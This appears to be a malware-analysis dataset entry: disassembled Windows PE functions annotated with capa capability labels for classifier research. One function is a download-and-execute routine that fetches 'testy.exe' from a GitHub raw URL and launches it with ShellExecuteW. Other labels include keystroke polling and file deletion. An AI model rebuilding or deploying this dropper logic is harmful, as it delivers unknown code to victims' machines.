joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Accept command line arguments

Disassembly:
mov eax, dword [0x425634]
push ebx
push ebp
push esi
push edi
push str._JAVA_LAUNCHER_DEBUG
mov dword [0x425638], eax
call fcn.00408d46
xor ebx, ebx
pop ecx
test eax, eax
je 0x401053
push str.Windows_original_main_args:_n
call fcn.00408c02
xor esi, esi
pop ecx
cmp dword [0x425628], ebx
jle 0x401053
mov eax, dword [0x42562c]
push dword [eax + esi*4]
push esi
push str.wwwd_args__d____s_n
call fcn.00408c02
add esp, 0xc
inc esi
cmp esi, dword [0x425628]
jl 0x401034
call dword [sym.imp.kernel32.dll_GetCommandLineA]
push eax
call fcn.004010e3
call fcn.00403941
mov edi, eax
lea eax, [edi*4 + 4]
push eax
call fcn.004039c3
pop ecx
pop ecx
mov esi, eax
call fcn.00403947
xor ecx, ecx
cmp edi, ebx
jle 0x40108d
mov edx, dword [eax + ecx*8]
mov dword [esi + ecx*4], edx
inc ecx
cmp ecx, edi
jl 0x401082
mov eax, dword [str.java]
mov dword [esi + ecx*4], ebx
mov edx, eax
cmp eax, ebx
jne 0x40109d
mov edx, dword [esi]
mov ebp, dword [0x42400c]
cmp ebp, ebx
jne 0x4010a9
mov ebp, dword [esi]
mov eax, dword [0x425420]
push ebx
xor ecx, ecx
inc ecx
push ecx
push ecx
cmp eax, ebx
setne bl
movzx ebx, bl
push ebx
push edx
push ebp
push 0x41c254
push 0x41c244
push dword [0x425424]
push ecx
push eax
push ecx
push esi
push edi
call fcn.00403485
add esp, 0x38
pop edi
pop esi
pop ebp
pop ebx
ret 0x10
Function at 0x403e42
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x424070]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x403ee5
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.004010e3
pop ecx
pop ecx
test eax, eax
je 0x403ece
test ebx, ebx
je 0x403ec2
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.004010e3
pop ecx
pop ecx
test eax, eax
jle 0x403ece
push ebx
call fcn.00403a2b
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.00403a0a
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x403e8f
xor edi, edi
cmp ebx, edi
jne 0x403ee9
xor eax, eax
jmp 0x403f55
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x403f18
call fcn.00403a2b
pop ecx
cmp dword [ebp - 0x70], edi
je 0x403ee5
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x403ee5
call fcn.00403a2b
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x403f08
cmp dword [ebp - 0x70], edi
je 0x403f4b
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.00403a0a
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409908
add ebp, 0x9c
leave
ret
Function at 0x409908
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424070]
jne 0x409912
repz ret
jmp fcn.0041156c
Function at 0x10012d70
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001b0dd
mov eax, dword fs:[0]
push eax
sub esp, 0xf8
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x44]
mov ecx, 0xe
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov eax, dword [0x10020040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x18], ecx
mov ecx, 0x100220c5
call fcn.100114ba
push 4
lea ecx, [ebp - 0x24]
call fcn.10015160
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0xfc]
push ecx
call fcn.10013230
add esp, 8
mov dword [ebp - 0x104], eax
mov edx, dword [ebp - 0x104]
push edx
lea ecx, [ebp - 0x24]
call fcn.10011c10
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xfc]
call fcn.10013d80
mov dword [ebp - 0x30], 0x10012a10
mov eax, dword [ebp - 0x18]
add eax, 4
mov esi, esp
push eax
push 0
lea ecx, [ebp - 0x24]
call fcn.10015770
push eax
mov ecx, dword [ebp - 0x30]
push ecx
push 0
push 0
call dword [sym.imp.ucrtbased.dll__beginthreadex]
add esp, 0x18
cmp esi, esp
call fcn.10011366
mov edx, dword [ebp - 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
je 0x10012e4a
lea ecx, [ebp - 0x24]
call fcn.10015b40
jmp 0x10012e5b
mov eax, dword [ebp - 0x18]
mov dword [eax + 4], 0
push 6
call fcn.10011136
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.10013d80
push edx
mov ecx, ebp
push eax
lea edx, [0x10012ea8]
call fcn.100112da
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100111f4
add esp, 0x104
cmp ebp, esp
call fcn.10011366
mov esp, ebp
pop ebp
ret 4
Function at 0x100140f0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001b170
mov eax, dword fs:[0]
push eax
sub esp, 0x3d0
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x25c]
mov ecx, 0x94
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov eax, dword [0x10020040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x18], ecx
mov ecx, 0x100220c9
call fcn.100114ba
mov esi, esp
push 0x104
lea eax, [ebp - 0x228]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp esi, esp
call fcn.10011366
mov esi, esp
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
cmp esi, esp
call fcn.10011366
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x24c]
call fcn.1001115e
mov dword [ebp - 4], 0
push str._testy.exe
lea ecx, [ebp - 0x24c]
call fcn.10011122
push 0
push 0
lea ecx, [ebp - 0x24c]
call fcn.10011505
push eax
push str.https:__raw.githubusercontent.com_Deadli1337_21565765_main_testy.exe
push 0
call fcn.10011393
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0
jl 0x100141ee
mov esi, esp
push 1
push 0
push 0
lea ecx, [ebp - 0x24c]
call fcn.10011505
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp esi, esp
call fcn.10011366
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24c]
call fcn.1001142e
push edx
mov ecx, ebp
push eax
lea edx, [0x1001423c]
call fcn.100112da
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100111f4
add esp, 0x3dc
cmp ebp, esp
call fcn.10011366
mov esp, ebp
pop ebp
ret
Function at 0x4032be
Capabilities:
Create process on windows

Disassembly:
push ebp
push ebx
mov edx, 0x14
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x4032c5
mov edx, dword [esp + 0x5c]
lea ecx, [esp]
call fcn.00405060
mov edx, dword [esp + 0x60]
lea ecx, [esp + 4]
call fcn.00405060
mov edx, dword [esp + 0x64]
lea ecx, [esp + 8]
call fcn.00405060
lea eax, [esp + 0xc]
lea ebp, [esp + 0xc]
mov dword [ebp], 0x3c
mov dword [ebp + 4], 0x140
mov dword [ebp + 0x1c], 0
mov eax, 0x412037
push eax
pop eax
mov dword [ebp + 0xc], eax
mov eax, dword [esp]
push eax
pop eax
mov dword [ebp + 0x10], eax
mov eax, dword [esp + 8]
push eax
pop eax
mov dword [ebp + 0x14], eax
mov eax, dword [esp + 4]
push eax
pop eax
mov dword [ebp + 0x18], eax
lea eax, [esp + 0xc]
push eax
call sub.SHELL32.DLL_ShellExecuteExA
mov dword [esp + 0x48], eax
push 0x19
call fcn.0040a642
lea eax, [esp + 0x4c]
push eax
lea ebp, [esp + 0x10]
push dword [ebp + 0x38]
call sub.KERNEL32.dll_GetExitCodeProcess
and eax, eax
je 0x403374
mov ebx, dword [esp + 0x4c]
cmp ebx, 0x103
je 0x403374
jmp 0x403376
jmp 0x403347
mov eax, dword [esp + 0x4c]
jmp 0x40337e
push dword [esp]
call fcn.0040f090
push dword [esp + 4]
call fcn.0040f090
push dword [esp + 8]
call fcn.0040f090
add esp, 0x50
pop ebx
pop ebp
ret 0xc

Function at 0x4033a0
Capabilities:
Get common file path

Disassembly:
push ebx
xor eax, eax
push eax
push eax
push eax
push 0x400
call fcn.0040c110
mov dword [esp], eax
push dword [0x413a98]
push dword [0x413a98]
call fcn.0040c42d
lea eax, [esp + 8]
push eax
call fcn.0040ef80
push dword [esp]
push 0
push 0x41201e
push dword [esp + 0x10]
call sub.KERNEL32.dll_GetTempFileNameA
push dword [0x413a98]
push dword [0x413a98]
push dword [esp + 8]
call fcn.0040c1c0
lea eax, [0x41357c]
push eax
call fcn.0040ef80
push dword [esp]
call fcn.0040c210
push dword [0x41357c]
call fcn.0040c4bc
push dword [0x41357c]
call fcn.0040c4ca
push dword [0x413a98]
push dword [0x413a98]
call fcn.0040c365
lea eax, [0x413500]
push eax
call fcn.0040ef80
push dword [esp + 0x14]
pop eax
call fcn.0040c130
push eax
xor ebx, ebx
cmp ebx, dword [esp]
jne 0x403479
mov edx, dword [0x41357c]
push dword [0x413a98]
call fcn.0040f030
lea eax, [0x413500]
push eax
call fcn.0040ef80
mov dword [esp + 0xc], 2
jmp 0x40348b
mov ebx, 1
cmp ebx, dword [esp]
jne 0x40348b
mov dword [esp + 0xc], 1
pop eax
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 8]
push ebx
pop eax
call fcn.0040c130
mov dword [0x413538], eax
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 8]
inc ebx
push ebx
pop eax
call fcn.0040c130
mov dword [0x413444], eax
mov eax, 1
jmp 0x4034be
push dword [esp + 4]
call fcn.0040f090
add esp, 0xc
pop ebx
ret 4
Function at 0x403bd0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov edx, 9
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x403bd6
lea eax, [esp]
push eax
call sub.KERNEL32.dll_GetNativeSystemInfo
lea ebp, [esp]
cmp word [ebp], 0
je 0x403bfd
mov eax, 1
jmp 0x403bff
xor eax, eax
add esp, 0x24
pop ebp
ret

Function at 0x403c04
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov edx, 9
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x403c0a
mov edx, dword [esp + 0x30]
lea ecx, [esp]
call fcn.00405060
push 0x21
call fcn.0040c110
mov dword [esp + 4], eax
push 0x21
push dword [esp + 8]
call fcn.0040c260
push 0x20
push dword [esp + 8]
mov eax, dword [0x413598]
push eax
call fcn.0040c280
push 1
push dword [esp + 4]
mov ebx, dword [esp + 0xc]
add ebx, 0x20
push ebx
call fcn.0040c2b0
push dword [0x413a98]
push dword [0x413a98]
push dword [0x413a98]
push dword [0x413a98]
push 0x21
push dword [esp + 0x18]
call fcn.0040d7d0
mov edx, dword [0x412324]
add dword [esp], edx
call fcn.00405a70
lea eax, [esp + 0xc]
push eax
call fcn.0040ef80
push dword [esp + 4]
call fcn.0040c210
push 0xa
push dword [esp + 0xc]
push dword [esp + 0x34]
call sub.KERNEL32.dll_FindResourceA
mov dword [esp + 0xc], eax
cmp dword [esp + 0xc], 0
je 0x403def
push dword [esp + 0xc]
push dword [esp + 0x30]
call sub.KERNEL32.dll_LoadResource
mov dword [0x413448], eax
push dword [esp + 0xc]
push dword [esp + 0x30]
call sub.KERNEL32.dll_SizeofResource
mov dword [0x41345c], eax
push dword [esp]
mov edx, 0x412027
pop ecx
call fcn.0040f000
jne 0x403d37
push dword [esp]
mov edx, 0x41202b
pop ecx
call fcn.0040f000
jne 0x403d37
push dword [esp]
mov edx, 0x41202d
pop ecx
call fcn.0040f000
jne 0x403d37
push dword [esp]
mov edx, 0x412035
pop ecx
call fcn.0040f000
jne 0x403d37
jmp 0x403d3e
mov eax, 1
jmp 0x403d40
xor eax, eax
and eax, eax
je 0x403def
push dword [0x41345c]
call fcn.0040c110
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov ebx, dword [0x41345c]
dec ebx
cmp ebx, dword [esp + 0x14]
jl 0x403da5
mov ebx, dword [0x413448]
add ebx, dword [esp + 0x14]
push ebx
pop eax
call fcn.0040c130
mov dword [esp + 0x18], eax
mov ebx, dword [esp + 0x18]
imul ebx, ebx, 0xffffffff
mov dword [esp + 0x1c], ebx
push dword [esp + 0x1c]
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 0x18]
push ebx
pop eax
call fcn.0040c140
inc dword [esp + 0x14]
jno 0x403d5f
push dword [0x413598]
push dword [0x41345c]
push dword [esp + 0x18]
call fcn.00403000
push dword [esp + 0x10]
pop eax
mov dword [0x413448], eax
push dword [0x41345c]
push dword [esp + 0x14]
call fcn.00404188
mov dword [esp + 0x20], eax
push dword [esp + 0x20]
pop eax
mov dword [0x413448], eax
push dword [esp + 0x20]
call fcn.0040c2f0
mov dword [0x41345c], eax
mov eax, dword [esp + 0xc]
jmp 0x403df7
push dword [esp + 8]
call fcn.0040f090
push dword [esp]
call fcn.0040f090
add esp, 0x24
pop ebx
ret 8
Function at 0x4040bc
Capabilities:
Delete directory

Disassembly:
push ebp
push ebx
xor eax, eax
push eax
mov ebx, dword [0x413538]
cmp ebx, 1
jne 0x404179
push dword [0x4135b0]
call fcn.0040978b
mov ebx, eax
and ebx, ebx
jle 0x404120
push dword [0x4135b0]
call fcn.00409795
push dword [0x4135b0]
call fcn.004097aa
or eax, eax
je 0x404120
mov ebp, dword [0x4135b4]
push dword [ebp + 8]
call fcn.0040daf0
mov ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x40411e
mov ebp, dword [0x4135b4]
push dword [ebp + 8]
call fcn.0040c4bc
jmp 0x4040ec
push dword [0x4135b8]
call fcn.0040978b
mov dword [esp], eax
mov ebx, dword [esp]
and ebx, ebx
jle 0x404179
push 5
push 0
push 1
push dword [0x4135b8]
call fcn.00407940
push dword [0x4135b8]
call fcn.00409795
push dword [0x4135b8]
call fcn.004097aa
or eax, eax
je 0x404179
mov ebp, dword [0x4135bc]
push dword [ebp + 0xc]
call sub.KERNEL32.dll_RemoveDirectoryA
jmp 0x40415a
mov eax, 1
jmp 0x404182
add esp, 4
pop ebx
pop ebp
ret

Function at 0x40825d
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
xor ebx, ebx
push esi
push edi
cmp dword [esp + 0x10], ebx
je 0x4082ac
push dword [esp + 0x10]
push 0x4081db
call dword [sym.imp.USER32.DLL_EnumWindows]
mov esi, dword [0x4135c8]
cmp esi, ebx
je 0x408300
mov edi, dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [esi + 8], eax
jne 0x4082a4
cmp byte [esi + 0x10], bl
je 0x4082a4
push 3
push ebx
push ebx
push ebx
push ebx
push 0xfffffffffffffffe
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_SetWindowPos]
mov esi, edi
cmp edi, ebx
jne 0x408281
jmp 0x408300
mov esi, dword [0x4135c8]
cmp esi, ebx
je 0x408300
push ebp
mov ebp, dword [esi]
lea edi, [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [edi], eax
jne 0x4082f9
cmp byte [esi + 0x11], bl
je 0x4082d6
push 1
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_EnableWindow]
cmp byte [esi + 0x10], bl
je 0x4082ec
push 3
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push dword [esi + 0xc]
call dword [sym.imp.USER32.DLL_SetWindowPos]
push edi
push 0x4135c8
call fcn.0040ebad
pop ecx
pop ecx
mov esi, ebp
cmp ebp, ebx
jne 0x4082b7
pop ebp
pop edi
pop esi
pop ebx
ret 4
Function at 0x40a1c4
Capabilities:
Get graphical window text

Disassembly:
push edi
push dword [esp + 8]
push dword [0x413b48]
call fcn.0040e4da
mov edi, eax
test edi, edi
je 0x40a226
mov eax, dword [edi + 4]
mov eax, dword [eax + 0x18]
test eax, eax
je 0x40a1ed
push dword [esp + 0xc]
push edi
call eax
jmp 0x40a226
push ebx
push esi
push dword [edi]
call dword [sym.imp.USER32.DLL_GetWindowTextLengthA]
push dword [esp + 0x14]
mov esi, eax
push esi
call fcn.0040f200
mov ebx, eax
lea eax, [esi + 1]
push eax
push ebx
mov byte [ebx], 0
push dword [edi]
call dword [sym.imp.USER32.DLL_GetWindowTextA]
push ebx
call sub.MSVCRT.dll_strlen
pop ecx
sub esi, eax
push esi
call fcn.0040f320
pop esi
pop ebx
pop edi
ret 8

Function at 0x40a54f
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x130
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x1c]
push eax
mov ebx, 0xc8
mov dword [ebp - 0x1c], 0x94
call edi
test eax, eax
je 0x40a638
mov eax, dword [ebp - 0xc]
dec eax
je 0x40a61b
dec eax
jne 0x40a638
lea eax, [ebp - 0xb8]
push eax
xor esi, esi
mov dword [ebp - 0xb8], 0x9c
call edi
test eax, eax
je 0x40a5ae
cmp byte [ebp - 0x1e], 1
jne 0x40a5ae
inc esi
mov eax, dword [ebp - 0x18]
sub eax, 3
je 0x40a617
dec eax
je 0x40a613
dec eax
je 0x40a5f1
dec eax
jne 0x40a638
mov eax, dword [ebp - 0x14]
sub eax, 0
je 0x40a5e5
dec eax
je 0x40a5d9
dec eax
jne 0x40a638
neg esi
sbb esi, esi
and esi, 0xfffffffb
lea ebx, [esi + 0x5f]
jmp 0x40a638
neg esi
sbb esi, esi
and esi, 0xfffffffb
lea ebx, [esi + 0x55]
jmp 0x40a638
neg esi
sbb esi, esi
and esi, 0xfffffffb
lea ebx, [esi + 0x4b]
jmp 0x40a638
mov eax, dword [ebp - 0x14]
sub eax, 0
je 0x40a60f
dec eax
je 0x40a60b
dec eax
jne 0x40a638
neg esi
sbb esi, esi
and esi, 0xfffffffb
lea ebx, [esi + 0x41]
jmp 0x40a638
push 0x3c
jmp 0x40a637
push 0x32
jmp 0x40a637
push 0x14
jmp 0x40a637
push 5
jmp 0x40a637
cmp dword [ebp - 0x14], 0
je 0x40a635
cmp dword [ebp - 0x14], 0xa
je 0x40a631
cmp dword [ebp - 0x14], 0x5a
jne 0x40a638
push 0x28
jmp 0x40a637
push 0x1e
jmp 0x40a637
push 0xa
pop ebx
pop edi
pop esi
mov eax, ebx
pop ebx
add ebp, 0x78
leave
ret
Function at 0x40b5a1
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0xc
push ebx
push esi
push edi
call dword [sym.imp.USER32.DLL_GetFocus]
mov esi, dword [sym.imp.USER32.DLL_GetKeyState]
mov edi, eax
mov bl, pe_nt_image_headers32
test edi, edi
je 0x40b61d
push 9
call esi
test bl, al
je 0x40b61d
push 0x11
call esi
test bl, al
jne 0x40b61d
push 0x10
call esi
test bl, al
jne 0x40b61d
push 0x12
call esi
test bl, al
jne 0x40b61d
push 5
lea eax, [esp + 0x14]
push eax
push edi
call dword [sym.imp.USER32.DLL_GetClassNameA]
push 4
lea eax, [esp + 0x14]
push str.Rich
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
jne 0x40b61d
push eax
push eax
push 0x44e
push edi
call dword [sym.imp.USER32.DLL_SendMessageA]
test eax, 0x800
jne 0x40b61d
xor eax, eax
jmp 0x40b69f
push ebp
mov ebp, dword [esp + 0x20]
test ebp, ebp
je 0x40b646
push 0x11
call esi
test bl, al
jne 0x40b63e
push 0x10
call esi
test bl, al
jne 0x40b63e
push 0x12
call esi
test bl, al
je 0x40b646
push 1
push ebp
call fcn.0040b55a
mov esi, dword [sym.imp.USER32.DLL_GetPropA]
test edi, edi
je 0x40b65c
push str.PB_Hotkey
push edi
call esi
test eax, eax
jne 0x40b69c
push str.PB_WindowID
push ebp
call esi
mov esi, eax
test esi, esi
je 0x40b69c
lea eax, [esp + 0x10]
push eax
push ebp
call dword [sym.imp.USER32.DLL_GetWindowThreadProcessId]
test eax, eax
je 0x40b69c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 0x10], eax
jne 0x40b69c
dec esi
push esi
push dword [0x413b50]
call fcn.0040e4da
test eax, eax
je 0x40b69c
mov eax, dword [eax + 8]
jmp 0x40b69e
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xc
ret 4

Function at 0x40b761
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x94
push edi
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
mov dword [0x413a24], eax
cmp eax, edi
je 0x40b794
push str.AlphaBlend
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x413a28], eax
lea eax, [ebp - 0x1c]
push eax
mov dword [0x413a20], 1
mov dword [ebp - 0x1c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x40b7d2
cmp dword [ebp - 0xc], 1
je 0x40b7e3
cmp dword [ebp - 0xc], 2
jne 0x40b7d2
cmp dword [ebp - 0x18], 5
jb 0x40b7e3
jne 0x40b7d2
cmp dword [ebp - 0x14], edi
jne 0x40b7d2
mov dword [0x413a20], edi
cmp dword [0x413a20], edi
je 0x40b7e9
call fcn.0040b6a8
test eax, eax
jne 0x40b7e9
mov dword [0x413a20], edi
pop edi
add ebp, 0x78
leave
ret

Function at 0x40c48e
Capabilities:
Delete file
Set file attributes

Disassembly:
cmp dword [esp + 4], 0
je 0x40c4b7
test byte [esp + 8], 2
je 0x40c4ab
push pe_nt_image_headers32
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40c4b9
xor eax, eax
ret 8
Function at 0x40c4ca
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
cmp dword [ebp + 8], 0
je 0x40c53a
push 0x104
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strncpy
lea eax, [ebp - 0x108]
push eax
mov byte [ebp - 4], 0
call sub.MSVCRT.dll_strlen
add esp, 0x10
lea eax, [ebp + eax - 0x108]
jmp 0x40c51c
mov dl, byte [eax - 1]
cmp dl, 0x20
je 0x40c51b
cmp dl, 0x5c
je 0x40c51b
cmp dl, 0x2f
jne 0x40c526
dec eax
lea ecx, [ebp - 0x108]
cmp eax, ecx
ja 0x40c509
mov byte [eax], 0
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x40c53c
xor eax, eax
leave
ret 4

Function at 0x40c610
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
xor eax, eax
mov dword [esp + 4], eax
cmp dword [esi + 0x14], eax
jne 0x40c645
mov ecx, dword [esi + 8]
sub ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push eax
lea eax, [esp + 8]
push eax
mov eax, dword [esi]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esi + 8]
mov eax, dword [esp + 4]
mov dword [esi + 0xc], ecx
pop esi
pop ecx
ret 4

Function at 0x40c9f0
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0x10]
xor eax, eax
mov dword [esp + 4], eax
test esi, esi
je 0x40ca37
cmp byte [esi], al
je 0x40ca37
mov eax, dword [esp + 0xc]
mov ecx, dword [0x413bf0]
push eax
push ecx
call fcn.0040e4da
test eax, eax
je 0x40ca65
cmp dword [eax + 4], 0
mov ecx, esi
push edi
lea edi, [ecx + 1]
je 0x40ca40
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x40ca25
sub ecx, edi
push ecx
push esi
push eax
call fcn.0040cbb0
pop edi
pop esi
pop ecx
ret 8
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x40ca40
mov eax, dword [eax]
push 0
lea edx, [esp + 0xc]
push edx
sub ecx, edi
push ecx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 8
mov eax, dword [esp + 4]
pop esi
pop ecx
ret 8

Function at 0x40ca70
Capabilities:
Write file on windows

Disassembly:
push ecx
push edi
mov edi, dword [esp + 0x10]
xor eax, eax
mov dword [esp + 4], eax
test edi, edi
je 0x40cac9
push esi
mov esi, dword [esp + 0x18]
test esi, esi
je 0x40cac8
mov eax, dword [esp + 0x10]
mov ecx, dword [0x413bf0]
push eax
push ecx
call fcn.0040e4da
test eax, eax
je 0x40cac4
cmp dword [eax + 4], 0
je 0x40cab2
push esi
push edi
push eax
call fcn.0040cbb0
pop esi
pop edi
pop ecx
ret 0xc
mov eax, dword [eax]
push 0
lea edx, [esp + 0xc]
push edx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop esi
pop edi
pop ecx
ret 0xc